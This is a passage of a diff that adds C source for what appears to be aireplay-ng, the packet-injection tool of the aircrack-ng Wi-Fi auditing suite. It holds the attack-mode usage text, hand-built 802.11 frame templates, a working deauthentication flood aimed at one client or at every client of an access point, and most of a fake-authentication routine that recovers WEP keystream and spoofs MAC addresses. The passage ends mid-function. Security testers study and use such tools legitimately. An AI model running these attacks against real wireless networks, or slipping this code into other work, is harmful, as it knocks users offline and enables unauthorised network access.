+#include <sys/wait.h>
+#include <sys/time.h>
+
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <unistd.h>
+#include <dirent.h>
+#include <signal.h>
+#include <string.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <errno.h>
+#include <time.h>
+#include <getopt.h>
+#include <assert.h>
+
+#include <fcntl.h>
+#include <ctype.h>
+
+#include <limits.h>
+
+#include <netinet/in_systm.h>
+#include <netinet/ip.h>
+#include <netinet/tcp.h>
+
+#include "aircrack-ng/version.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/osdep/osdep.h"
+#include "aircrack-ng/support/communications.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/support/common.h"
+#include "aircrack-ng/utf8/verifyssid.h"
+#include "aircrack-ng/tui/console.h"
+
+#define RTC_RESOLUTION 8192
+
+#define REQUESTS 30
+#define MAX_APS 50
+#define MAX_ARP_SLOTS 8
+
+#define NEW_IV 1
+#define RETRY 2
+#define ABORT 3
+
+#define DEAUTH_REQ                                                             \
+	"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
+
+#define AUTH_REQ                                                               \
+	"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
+
+#define ASSOC_REQ                                                              \
+	"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
+
+#define REASSOC_REQ                                                            \
+	"\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00"
+
+#define NULL_DATA                                                              \
+	"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
+
+#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
+
+#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
+
+#define PROBE_REQ                                                              \
+	"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
+
+static const char usage[] =
+
+	"\n"
+	"  %s - (C) 2006-2020 Thomas d\'Otreppe\n"
+	"  https://www.aircrack-ng.org\n"
+	"\n"
+	"  usage: aireplay-ng <options> <replay interface>\n"
+	"\n"
+	"  Filter options:\n"
+	"\n"
+	"      -b bssid  : MAC address, Access Point\n"
+	"      -d dmac   : MAC address, Destination\n"
+	"      -s smac   : MAC address, Source\n"
+	"      -m len    : minimum packet length\n"
+	"      -n len    : maximum packet length\n"
+	"      -u type   : frame control, type    field\n"
+	"      -v subt   : frame control, subtype field\n"
+	"      -t tods   : frame control, To      DS bit\n"
+	"      -f fromds : frame control, From    DS bit\n"
+	"      -w iswep  : frame control, WEP     bit\n"
+	"      -D        : disable AP detection\n"
+	"\n"
+	"  Replay options:\n"
+	"\n"
+	"      -x nbpps  : number of packets per second\n"
+	"      -p fctrl  : set frame control word (hex)\n"
+	"      -a bssid  : set Access Point MAC address\n"
+	"      -c dmac   : set Destination  MAC address\n"
+	"      -h smac   : set Source       MAC address\n"
+	"      -g value  : change ring buffer size (default: 8)\n"
+	"      -F        : choose first matching packet\n"
+	"\n"
+	"      Fakeauth attack options:\n"
+	"\n"
+	"      -e essid  : set target AP SSID\n"
+	"      -o npckts : number of packets per burst (0=auto, default: 1)\n"
+	"      -q sec    : seconds between keep-alives\n"
+	"      -Q        : send reassociation requests\n"
+	"      -y prga   : keystream for shared key auth\n"
+	"      -T n      : exit after retry fake auth request n time\n"
+	"\n"
+	"      Arp Replay attack options:\n"
+	"\n"
+	"      -j        : inject FromDS packets\n"
+	"\n"
+	"      Fragmentation attack options:\n"
+	"\n"
+	"      -k IP     : set destination IP in fragments\n"
+	"      -l IP     : set source IP in fragments\n"
+	"\n"
+	"      Test attack options:\n"
+	"\n"
+	"      -B        : activates the bitrate test\n"
+	"\n"
+	"  Source options:\n"
+	"\n"
+	"      -i iface  : capture packets from this interface\n"
+	"      -r file   : extract packets from this pcap file\n"
+	"\n"
+	"  Miscellaneous options:\n"
+	"\n"
+	"      -R                    : disable /dev/rtc usage\n"
+	"      --ignore-negative-one : if the interface's channel can't be "
+	"determined,\n"
+	"                              ignore the mismatch, needed for unpatched "
+	"cfg80211\n"
+	"      --deauth-rc rc        : Deauthentication reason code [0-254] "
+	"(Default: 7)\n"
+	"\n"
+	"  Attack modes (numbers can still be used):\n"
+	"\n"
+	"      --deauth      count : deauthenticate 1 or all stations (-0)\n"
+	"      --fakeauth    delay : fake authentication with AP (-1)\n"
+	"      --interactive       : interactive frame selection (-2)\n"
+	"      --arpreplay         : standard ARP-request replay (-3)\n"
+	"      --chopchop          : decrypt/chopchop WEP packet (-4)\n"
+	"      --fragment          : generates valid keystream   (-5)\n"
+	"      --caffe-latte       : query a client for new IVs  (-6)\n"
+	"      --cfrag             : fragments against a client  (-7)\n"
+	"      --migmode           : attacks WPA migration mode  (-8)\n"
+	"      --test              : tests injection and quality (-9)\n"
+	"\n"
+	"      --help              : Displays this usage screen\n"
+	"\n";
+
+struct communication_options opt;
+struct devices dev;
+extern struct wif *_wi_in, *_wi_out;
+extern uint8_t h80211[4096];
+extern uint8_t tmpbuf[4096];
+
+struct ARP_req
+{
+	unsigned char * buf;
+	int hdrlen;
+	int len;
+};
+
+struct APt
+{
+	unsigned char set;
+	unsigned char found;
+	unsigned char len;
+	unsigned char essid[255];
+	unsigned char bssid[6];
+	unsigned char chan;
+	unsigned int ping[REQUESTS];
+	int pwr[REQUESTS];
+};
+
+static struct APt ap[MAX_APS];
+
+unsigned long nb_pkt_sent;
+static unsigned char srcbuf[4096];
+static char strbuf[512];
+
+static const unsigned char ska_auth3[4096]
+	= "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+	  "\x00\x00\x00\x00\x00\x00\xc0\x01";
+
+static int ctrl_c, alarmed;
+
+static void sighandler(int signum)
+{
+	if (signum == SIGINT) ctrl_c++;
+
+	if (signum == SIGALRM) alarmed++;
+}
+
+#ifdef XDEBUG
+static int reset_ifaces(void)
+{
+	// close interfaces
+	if (_wi_in != _wi_out)
+	{
+		if (_wi_in)
+		{
+			wi_close(_wi_in);
+			_wi_in = NULL;
+		}
+		if (_wi_out)
+		{
+			wi_close(_wi_out);
+			_wi_out = NULL;
+		}
+	}
+	else
+	{
+		if (_wi_out)
+		{
+			wi_close(_wi_out);
+			_wi_out = NULL;
+			_wi_in = NULL;
+		}
+	}
+
+	/* open the replay interface */
+	_wi_out = wi_open(opt.iface_out);
+	if (!_wi_out) return 1;
+	dev.fd_out = wi_fd(_wi_out);
+
+	/* open the packet source */
+	if (opt.s_face != NULL)
+	{
+		_wi_in = wi_open(opt.s_face);
+		if (!_wi_in) return 1;
+		dev.fd_in = wi_fd(_wi_in);
+		wi_get_mac(_wi_in, dev.mac_in);
+	}
+	else
+	{
+		_wi_in = _wi_out;
+		dev.fd_in = dev.fd_out;
+
+		/* XXX */
+		dev.arptype_in = dev.arptype_out;
+		wi_get_mac(_wi_in, dev.mac_in);
+	}
+
+	wi_get_mac(_wi_out, dev.mac_out);
+
+	return 0;
+}
+#endif
+
+static int
+xor_keystream(unsigned char * ph80211, unsigned char * keystream, int len)
+{
+	REQUIRE(ph80211 != NULL);
+	REQUIRE(keystream != NULL);
+
+	int i = 0;
+
+	if (len <= 0 || len >= INT_MAX) return 0;
+
+	for (i = 0; i < len; i++)
+	{
+		ph80211[i] = ph80211[i] ^ keystream[i];
+	}
+
+	return 0;
+}
+
+static void my_read_sleep_cb(void)
+{
+	read_packet(_wi_in, h80211, sizeof(h80211), NULL);
+}
+
+static void send_fragments(unsigned char * packet,
+						   int packet_len,
+						   unsigned char * iv,
+						   unsigned char * keystream,
+						   int fragsize,
+						   int ska)
+{
+	REQUIRE(packet != NULL);
+	REQUIRE(packet_len > 0 && packet_len < INT_MAX);
+	REQUIRE(iv != NULL);
+
+	int t, u;
+	int data_size;
+	unsigned char frag[32 + fragsize];
+	int pack_size;
+	int header_size = 24;
+
+	data_size = packet_len - header_size;
+	packet[23] = rand_u8();
+
+	for (t = 0; t < INT_MAX; t += fragsize)
+	{
+
+		// Copy header
+		memcpy(frag, packet, header_size);
+
+		// Copy IV + KeyIndex
+		memcpy(frag + header_size, iv, 4);
+
+		// Copy data
+		if (fragsize <= packet_len - (header_size + t - fragsize))
+			memcpy(frag + header_size + 4,
+				   packet + header_size + t - fragsize,
+				   fragsize);
+		else
+			memcpy(frag + header_size + 4,
+				   packet + header_size + t - fragsize,
+				   packet_len - (header_size + t - fragsize));
+
+		// Make ToDS frame
+		if (!ska)
+		{
+			frag[1] |= 1;
+			frag[1] &= 253;
+		}
+
+		// Set fragment bit
+		if (t < data_size) frag[1] |= 4;
+		if (t >= data_size) frag[1] &= 251;
+
+		// Fragment number
+		frag[22] = 0;
+		for (u = t; u < INT_MAX; u -= fragsize)
+		{
+			frag[22] += 1;
+		}
+		//        frag[23] = 0;
+
+		// Calculate packet length
+		if (fragsize <= packet_len - (header_size + t - fragsize))
+			pack_size = header_size + 4 + fragsize;
+		else
+			pack_size
+				= header_size + 4 + (packet_len - (header_size + t - fragsize));
+
+		// Add ICV
+		add_icv(frag, pack_size, header_size + 4);
+		pack_size += 4;
+
+		// Encrypt
+		xor_keystream(frag + header_size + 4, keystream, fragsize + 4);
+
+		// Send
+		send_packet(_wi_out, frag, (size_t) pack_size, kRewriteDuration);
+		if (t < data_size) usleep(100);
+
+		if (t >= data_size) break;
+	}
+}
+
+static int do_attack_deauth(void)
+{
+	int i, n;
+	int aacks, sacks, caplen;
+	struct timeval tv;
+	fd_set rfds;
+
+	if (getnet(_wi_in,
+			   NULL,
+			   0,
+			   1,
+			   opt.f_bssid,
+			   opt.r_bssid,
+			   (uint8_t *) opt.r_essid,
+			   opt.ignore_negative_one,
+			   opt.nodetect)
+		!= 0)
+		return (EXIT_FAILURE);
+
+	if (memcmp(opt.r_dmac, NULL_MAC, 6) == 0)
+		printf("NB: this attack is more effective when targeting\n"
+			   "a connected wireless client (-c <client's mac>).\n");
+
+	n = 0;
+
+	while (1)
+	{
+		if (opt.a_count > 0 && ++n > opt.a_count) break;
+
+		usleep(180000);
+
+		if (memcmp(opt.r_dmac, NULL_MAC, 6) != 0)
+		{
+			/* deauthenticate the target */
+
+			memcpy(h80211, DEAUTH_REQ, 26);
+			memcpy(h80211 + 16, opt.r_bssid, 6);
+
+			/* add the deauth reason code */
+			h80211[24] = opt.deauth_rc;
+
+			aacks = 0;
+			sacks = 0;
+			for (i = 0; i < 64; i++)
+			{
+				if (i == 0)
+				{
+					PCT;
+					printf("Sending 64 directed DeAuth (code %i). STMAC:"
+						   " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
+						   opt.deauth_rc,
+						   opt.r_dmac[0],
+						   opt.r_dmac[1],
+						   opt.r_dmac[2],
+						   opt.r_dmac[3],
+						   opt.r_dmac[4],
+						   opt.r_dmac[5],
+						   sacks,
+						   aacks);
+				}
+
+				memcpy(h80211 + 4, opt.r_dmac, 6);
+				memcpy(h80211 + 10, opt.r_bssid, 6);
+
+				if (send_packet(_wi_out, h80211, 26, kRewriteDuration) < 0)
+					return (EXIT_FAILURE);
+
+				usleep(2000);
+
+				memcpy(h80211 + 4, opt.r_bssid, 6);
+				memcpy(h80211 + 10, opt.r_dmac, 6);
+
+				if (send_packet(_wi_out, h80211, 26, kRewriteDuration) < 0)
+					return (EXIT_FAILURE);
+
+				usleep(2000);
+
+				while (1)
+				{
+					FD_ZERO(&rfds);
+					FD_SET(dev.fd_in, &rfds);
+
+					tv.tv_sec = 0;
+					tv.tv_usec = 1000;
+
+					if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
+					{
+						if (errno == EINTR) continue;
+						perror("select failed");
+						return (EXIT_FAILURE);
+					}
+
+					if (!FD_ISSET(dev.fd_in, &rfds)) break;
+
+					caplen = read_packet(_wi_in, tmpbuf, sizeof(tmpbuf), NULL);
+
+					if (caplen <= 0) break;
+					if (caplen != 10) continue;
+					if (tmpbuf[0] == 0xD4)
+					{
+						if (memcmp(tmpbuf + 4, opt.r_dmac, 6) == 0)
+						{
+							aacks++;
+						}
+						if (memcmp(tmpbuf + 4, opt.r_bssid, 6) == 0)
+						{
+							sacks++;
+						}
+						PCT;
+						printf(
+							"Sending 64 directed DeAuth (code %i). STMAC:"
+							" [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
+							opt.deauth_rc,
+							opt.r_dmac[0],
+							opt.r_dmac[1],
+							opt.r_dmac[2],
+							opt.r_dmac[3],
+							opt.r_dmac[4],
+							opt.r_dmac[5],
+							sacks,
+							aacks);
+					}
+				}
+			}
+			printf("\n");
+		}
+		else
+		{
+			/* deauthenticate all stations */
+
+			PCT;
+			printf("Sending DeAuth (code %i) to broadcast -- BSSID:"
+				   " [%02X:%02X:%02X:%02X:%02X:%02X]\n",
+				   opt.deauth_rc,
+				   opt.r_bssid[0],
+				   opt.r_bssid[1],
+				   opt.r_bssid[2],
+				   opt.r_bssid[3],
+				   opt.r_bssid[4],
+				   opt.r_bssid[5]);
+
+			memcpy(h80211, DEAUTH_REQ, 26);
+			h80211[24] = opt.deauth_rc;
+
+			memcpy(h80211 + 4, BROADCAST, 6);
+			memcpy(h80211 + 10, opt.r_bssid, 6);
+			memcpy(h80211 + 16, opt.r_bssid, 6);
+
+			for (i = 0; i < 128; i++)
+			{
+				if (send_packet(_wi_out, h80211, 26, kRewriteDuration) < 0)
+					return (1);
+
+				usleep(2000);
+			}
+		}
+	}
+
+	return (EXIT_SUCCESS);
+}
+
+static int do_attack_fake_auth(void)
+{
+	time_t tt, tr;
+	struct timeval tv, tv2, tv3;
+
+	fd_set rfds;
+	int i, n, state, caplen, z;
+	int mi_b, mi_s, mi_d;
+	int x_send;
+	int kas;
+	int tries;
+	int retry = 0;
+	int abort;
+	int gotack = 0;
+	unsigned char capa[2];
+	int deauth_wait = 3;
+	int ska = 0;
+	int keystreamlen = 0;
+	int challengelen = 0;
+	int weight[16];
+	int notice = 0;
+	int packets = 0;
+	int aid = 0;
+
+	unsigned char ackbuf[14];
+	unsigned char ctsbuf[10];
+	unsigned char iv[4];
+	unsigned char challenge[2048];
+	unsigned char keystream[2048];
+
+	memset(iv, 0, sizeof(iv));
+
+	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
+	{
+		printf("Please specify a source MAC (-h).\n");
+		return (EXIT_FAILURE);
+	}
+
+	if (getnet(_wi_in,
+			   capa,
+			   0,
+			   1,
+			   opt.f_bssid,
+			   opt.r_bssid,
+			   (uint8_t *) opt.r_essid,
+			   opt.ignore_negative_one,
+			   opt.nodetect)
+		!= 0)
+		return (EXIT_FAILURE);
+
+	if (verifyssid((const unsigned char *) opt.r_essid) == 0)
+	{
+		printf("Please specify an ESSID (-e).\n");
+		return (EXIT_FAILURE);
+	}
+
+	memcpy(ackbuf, "\xD4\x00\x00\x00", 4);
+	memcpy(ackbuf + 4, opt.r_bssid, 6);
+	memset(ackbuf + 10, 0, 4);
+
+	memcpy(ctsbuf, "\xC4\x00\x94\x02", 4);
+	memcpy(ctsbuf + 4, opt.r_bssid, 6);
+
+	tries = 0;
+	abort = 0;
+	state = 0;
+	x_send = opt.npackets;
+	if (opt.npackets == 0) x_send = 4;
+
+	if (opt.prga != NULL) ska = 1;
+
+	tt = time(NULL);
+	tr = time(NULL);
+
+	while (1)
+	{
+		switch (state)
+		{
+			case 0:
+				if (opt.f_retry > 0)
+				{
+					if (retry == opt.f_retry)
+					{
+						return (EXIT_FAILURE);
+					}
+					++retry;
+				}
+
+				if (ska && keystreamlen == 0)
+				{
+					opt.fast = 1; // don't ask for approval
+					memcpy(opt.f_bssid,
+						   opt.r_bssid,
+						   6); // make the filter bssid the same, that is used
+					// for auth'ing
+					if (opt.prga == NULL)
+					{
+						while (keystreamlen < 16)
+						{
+							capture_ask_packet(&caplen,
+											   1); // wait for data packet
+							z = ((h80211[1] & 3) != 3) ? 24 : 30;
+							if ((h80211[0] & 0x80) == 0x80) /* QoS */
+								z += 2;
+
+							memcpy(iv, h80211 + z, 4); // copy IV+IDX
+							i = known_clear(keystream,
+											&keystreamlen,
+											weight,
+											h80211,
+											caplen - z - 4
+												- 4); // recover first bytes
+							if (i > 1)
+							{
+								keystreamlen = 0;
+							}
+							for (i = 0; i < keystreamlen; i++)
+								keystream[i] ^= h80211[i + z + 4];
+						}
+					}
+					else
+					{
+						keystreamlen = opt.prgalen - 4;
+						memcpy(iv, opt.prga, 4);
+						memcpy(keystream, opt.prga + 4, keystreamlen);
+					}
+				}
+
+				state = 1;
+				tt = time(NULL);
+
+				/* attempt to authenticate */
+
+				memcpy(h80211, AUTH_REQ, 30);
+				memcpy(h80211 + 4, opt.r_bssid, 6); //-V525
+				memcpy(h80211 + 10, opt.r_smac, 6); //-V525
+				memcpy(h80211 + 16, opt.r_bssid, 6); //-V525
+				if (ska) h80211[24] = 0x01;
+
+				printf("\n");
+				PCT;
+				printf("Sending Authentication Request");
+				if (!ska)
+					printf(" (Open System)");
+				else
+					printf(" (Shared Key)");
+				fflush(stdout);
+				gotack = 0;
+
+				for (i = 0; i < x_send; i++)
+				{
+					if (send_packet(_wi_out, h80211, 30, kRewriteDuration) < 0)
+						return (1);
+
+					usleep(10);
+
+					if (send_packet(_wi_out, ackbuf, 14, kRewriteDuration) < 0)
+						return (1);
+					usleep(10);
+
+					if (send_packet(_wi_out, ackbuf, 14, kRewriteDuration) < 0)
+						return (1);
+				}
+
+				break;
+
+			case 1:
+
+				/* waiting for an authentication response */
+
+				if (time(NULL) - tt >= 2)
+				{
+					if (opt.npackets > 0)
+					{
+						tries++;
+
+						if (tries > 15)
+						{
+							abort = 1;
+						}
+					}
+					else
+					{
+						if (x_send < 256)
+						{
+							x_send *= 2;
+						}
+						else
+						{
+							abort = 1;
+						}
+					}
+
+					if (abort)
+					{
+						printf(
+							"\nAttack was unsuccessful. Possible reasons:\n\n"
+							"    * Perhaps MAC address filtering is enabled.\n"
+							"    * Check that the BSSID (-a option) is "
+							"correct.\n"
+							"    * Try to change the number of packets (-o "
+							"option).\n"
+							"    * The driver/card doesn't support injection.\n"
+							"    * This attack sometimes fails against some "
+							"APs.\n"
+							"    * The card is not on the same channel as the "
+							"AP.\n"
+							"    * You're too far from the AP. Get closer, or "
+							"lower\n"
+							"      the transmit rate.\n\n");
+						return (EXIT_FAILURE);
+					}
+
+					state = 0;
+					challengelen = 0;
+					printf("\n");
+				}
+
+				break;
+
+			case 2:
+
+				state = 3;
+				tt = time(NULL);
+
+				/* attempt to authenticate using ska */
+
+				memcpy(h80211, AUTH_REQ, 30);
+				memcpy(h80211 + 4, opt.r_bssid, 6); //-V525
+				memcpy(h80211 + 10, opt.r_smac, 6); //-V525
+				memcpy(h80211 + 16, opt.r_bssid, 6); //-V525
+				h80211[1] |= 0x40; // set wep bit, as this frame is encrypted
+				memcpy(h80211 + 24, iv, 4);
+				memcpy(h80211 + 28, challenge, challengelen);
+				h80211[28] = 0x01; // its always ska in state==2
+				h80211[30] = 0x03; // auth sequence number 3
+				fflush(stdout);
+
+				if (keystreamlen < challengelen + 4 && notice == 0)
+				{
+					notice = 1;
+					if (opt.prga != NULL)
+					{
+						PCT;
+						printf("Specified xor file (-y) is too short, you need "
+							   "at least %d keystreambytes.\n",
+							   challengelen + 4);
+					}
+					else
+					{
+						PCT;
+						printf("You should specify a xor file (-y) with at "
+							   "least %d keystreambytes\n",
+							   challengelen + 4);
+					}
+					PCT;
+					printf("Trying fragmented shared key fake auth.\n");
+				}
+				PCT;
+				printf("Sending encrypted challenge.");
+				fflush(stdout);
+				gotack = 0;
+				gettimeofday(&tv2, NULL);
+
+				for (i = 0; i < x_send; i++)
+				{
+					if (keystreamlen < challengelen + 4)
+					{
+						packets = (challengelen) / (keystreamlen - 4);
+						if ((challengelen) % (keystreamlen - 4) != 0) packets++;
+
+						memcpy(h80211 + 24, challenge, challengelen);
+						h80211[24] = 0x01;
+						h80211[26] = 0x03;
+						send_fragments(h80211,
+									   challengelen + 24,
+									   iv,
+									   keystream,
+									   keystreamlen - 4,
+									   1);
+					}
+					else
+					{
+						add_icv(h80211, challengelen + 28, 28);
+						xor_keystream(h80211 + 28, keystream, challengelen + 4);
+						send_packet(_wi_out,
+									h80211,
+									24 + 4 + (size_t) challengelen + 4,
+									kRewriteDuration);
+					}
+
+					if (send_packet(_wi_out, ackbuf, 14, kRewriteDuration) < 0)
+						return (EXIT_FAILURE);
+					usleep(10);
+
+					if (send_packet(_wi_out, ackbuf, 14, kRewriteDuration) < 0)
+						return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 3:
+
+				/* waiting for an authentication response (using ska) */
+
+				if (time(NULL) - tt >= 2)
+				{
+					if (opt.npackets > 0)
+					{
+						tries++;
+
+						if (tries > 15)
+						{
+							abort = 1;
+						}
+					}
+					else
+					{
+						if (x_send < 256)
+						{
+							x_send *= 2;
+						}
+						else
+						{
+							abort = 1;
+						}
+					}
+
+					if (abort)
+					{
+						printf(
+							"\nAttack was unsuccessful. Possible reasons:\n\n"
+							"    * Perhaps MAC address filtering is enabled.\n"
+							"    * Check that the BSSID (-a option) is "
+							"correct.\n"
+							"    * Try to change the number of packets (-o "
+							"option).\n"
+							"    * The driver/card doesn't support injection.\n"
+							"    * This attack sometimes fails against some "
+							"APs.\n"
+							"    * The card is not on the same channel as the "
+							"AP.\n"
+							"    * You're too far from the AP. Get closer, or "
+							"lower\n"
+							"      the transmit rate.\n\n");
+						return (EXIT_FAILURE);
+					}
+
+					state = 0;
+					challengelen = 0;
+					printf("\n");
+				}
+
+				break;
+
+			case 4:
+
+				tries = 0;
+				state = 5;
+				if (opt.npackets == -1) x_send *= 2;
+				tt = time(NULL);
+
+				/* attempt to associate */
+
+				memcpy(h80211, ASSOC_REQ, 28);
+				memcpy(h80211 + 4, opt.r_bssid, 6); //-V525
+				memcpy(h80211 + 10, opt.r_smac, 6); //-V525
+				memcpy(h80211 + 16, opt.r_bssid, 6); //-V525
+
+				n = (int) strlen(opt.r_essid);
+
+				h80211[28] = 0x00;
+				h80211[29] = (uint8_t) n;
+
+				memcpy(h80211 + 30, opt.r_essid, n);
+				memcpy(h80211 + 30 + n, RATES, 16);
+				memcpy(h80211 + 24, capa, 2);
+
+				PCT;
+				printf("Sending Association Request");
+				fflush(stdout);
+				gotack = 0;
+
+				for (i = 0; i < x_send; i++)
+				{
+					if (send_packet(
+							_wi_out, h80211, 46 + (size_t) n, kRewriteDuration)
+						< 0)
+						return (EXIT_FAILURE);
+
+					usleep(10);
+
+					if (send_packet(_wi_out, ackbuf, 14, kRewriteDuration) < 0)
+						return (EXIT_FAILURE);
+					usleep(10);
+
+					if (send_packet(_wi_out, ackbuf, 14, kRewriteDuration) < 0)
+						return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 5:
+
+				/* waiting for an association response */
+
+				if (time(NULL) - tt >= 5)
+				{
+					if (x_send < 256 && (opt.npackets == -1)) x_send *= 4;
+
+					state = 0;
+					challengelen = 0;
+					printf("\n");
+				}
+
+				break;
+
+			case 6:
+
+				if (opt.a_delay == 0 && opt.reassoc == 0)
+				{
+					printf("\n");
+					return (EXIT_SUCCESS);
+				}
+
+				if (opt.a_delay == 0 && opt.reassoc == 1)
+				{
+					if (opt.npackets == -1) x_send = 4;
+					state = 7;
+					challengelen = 0;
+					break;
+				}
+
+				if (time(NULL) - tt >= opt.a_delay)
+				{
+					if (opt.npackets == -1) x_send = 4;
+					if (opt.reassoc == 1)
+						state = 7;
+					else
+						state = 0;
+					challengelen = 0;
+					break;
+				}
+
+				if (time(NULL) - tr >= opt.delay)
+				{
+					tr = time(NULL);
+					printf("\n");
+					PCT;
+					printf("Sending keep-alive packet");
+					fflush(stdout);
+					gotack = 0;
+
+					memcpy(h80211, NULL_DATA, 24);
+					memcpy(h80211 + 4, opt.r_bssid, 6); //-V525
+					memcpy(h80211 + 10, opt.r_smac, 6); //-V525
+					memcpy(h80211 + 16, opt.r_bssid, 6); //-V525
+
+					if (opt.npackets > 0)
+						kas = opt.npackets;
+					else
+						kas = 32;
+
+					for (i = 0; i < kas; i++)
+						if (send_packet(_wi_out, h80211, 24, kRewriteDuration)
+							< 0)
+							return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 7:
+
+				/* sending reassociation request */
+
+				tries = 0;
+				state = 8;
+				if (opt.npackets == -1) x_send *= 2;
+				tt = time(NULL);
+
+				/* attempt to reassociate */
+
+				memcpy(h80211, REASSOC_REQ, 34);
+				memcpy(h80211 + 4, opt.r_bssid, 6); //-V525
+				memcpy(h80211 + 10, opt.r_smac, 6); //-V525
+				memcpy(h80211 + 16, opt.r_bssid, 6); //-V525
+
+				n = (int) strlen(opt.r_essid);
+
+				h80211[34] = 0x00;
+				h80211[35] = (uint8_t) n;
+
+				memcpy(h80211 + 36, opt.r_essid, n);
+				memcpy(h80211 + 36 + n, RATES, 16);
+				memcpy(h80211 + 30, capa, 2);
+
+				PCT;
+				printf("Sending Reassociation Request");
+				fflush(stdout);
+				gotack = 0;
+
+				for (i = 0; i < x_send; i++)
+				{
+					if (send_packet(
+							_wi_out, h80211, 52 + (size_t) n, kRewriteDuration)
+						< 0)
+						return (EXIT_FAILURE);
+
+					usleep(10);
+
+					if (send_packet(_wi_out, ackbuf, 14, kRewriteDuration) < 0)
+						return (EXIT_FAILURE);
+					usleep(10);
+
+					if (send_packet(_wi_out, ackbuf, 14, kRewriteDuration) < 0)
+						return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 8:
+
+				/* waiting for a reassociation response */
+
+				if (time(NULL) - tt >= 5)
+				{
+					if (x_send < 256 && (opt.npackets == -1)) x_send *= 4;
+
+					state = 7;
+					challengelen = 0;
+					printf("\n");
+				}
+
+				break;
+
+			default:
+				break;
+		}
+
+		/* read one frame */
+
+		FD_ZERO(&rfds);
+		FD_SET(dev.fd_in, &rfds);
+
+		tv.tv_sec = 1;
+		tv.tv_usec = 0;
+
+		if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
+		{
+			if (errno == EINTR) continue;
+			perror("select failed");
+			return (EXIT_FAILURE);
+		}
+
+		if (!FD_ISSET(dev.fd_in, &rfds)) continue;
+
+		caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
+
+		if (caplen < 0) return (EXIT_FAILURE);
+		if (caplen == 0) continue;
+
+		if (caplen == 10 && h80211[0] == 0xD4)
+		{
+			if (memcmp(h80211 + 4, opt.r_smac, 6) == 0)
+			{
+				if (gotack < INT_MAX - 1) gotack++;
+				if (gotack == 1)
+				{
+					printf(" [ACK]");
+					fflush(stdout);
+				}
+			}
+		}
+
+		gettimeofday(&tv3, NULL);
+
+		// wait 100ms for acks
+		if ((((tv3.tv_sec * 1000000 - tv2.tv_sec * 1000000)
+			  + (tv3.tv_usec - tv2.tv_usec))
+			 > (100 * 1000))
+			&& (gotack > 0)
+			&& (gotack < packets)
+			&& (state == 3)
+			&& (packets > 1))
+		{
+			PCT;
+			printf("Not enough acks, repeating...\n");
+			state = 2;
+			continue;
+		}
+
+		if (caplen < 24) continue;
+
+		switch (h80211[1] & 3)
+		{
+			case 0:
+				mi_b = 16;
+				mi_s = 10;
+				mi_d = 4;
+				break;
+			case 1:
+				mi_b = 4;
+				mi_s = 10;
+				mi_d = 16;
+				break;
+			case 2:
+				mi_b = 10;
+				mi_s = 16;
+				mi_d = 4;
+				break;
+			default:
+				mi_b = 10;
+				mi_d = 16;
+				mi_s = 24;
+				break;
+		}
+
+		/* check if the dest. MAC is ours and source == AP */
+
+		if (memcmp(h80211 + mi_d, opt.r_smac, 6) == 0
+			&& memcmp(h80211 + mi_b, opt.r_bssid, 6) == 0
+			&& memcmp(h80211 + mi_s, opt.r_bssid, 6) == 0)
+		{
+			/* check if we got an deauthentication packet */
+
+			if (h80211[0] == 0xC0) // removed && state == 4
+			{
+				printf("\n");
+				PCT;
+				printf("Got a deauthentication packet! (Waiting %d seconds)\n",
+					   deauth_wait);
+				if (opt.npackets == -1) x_send = 4;
+				state = 0;
+				challengelen = 0;
+				read_sleep(
+					dev.fd_in, deauth_wait * 1000000UL, my_read_sleep_cb);
+				deauth_wait += 2;
+				continue;
+			}
+
+			/* check if we got an disassociation packet */
+
+			if (h80211[0] == 0xA0 && state == 6)
+			{
+				printf("\n");
+				PCT;
+				printf("Got a disassociation packet! (Waiting %d seconds)\n",
+					   deauth_wait);
+				if (opt.npackets == -1) x_send = 4;
+				state = 0;
+				challengelen = 0;
+				read_sleep(dev.fd_in, deauth_wait, my_read_sleep_cb);
+				deauth_wait += 2;
+				continue;
+			}
+
+			/* check if we got an authentication response */
+
+			if (h80211[0] == 0xB0 && (state == 1 || state == 3))
+			{
+				if (ska)
+				{
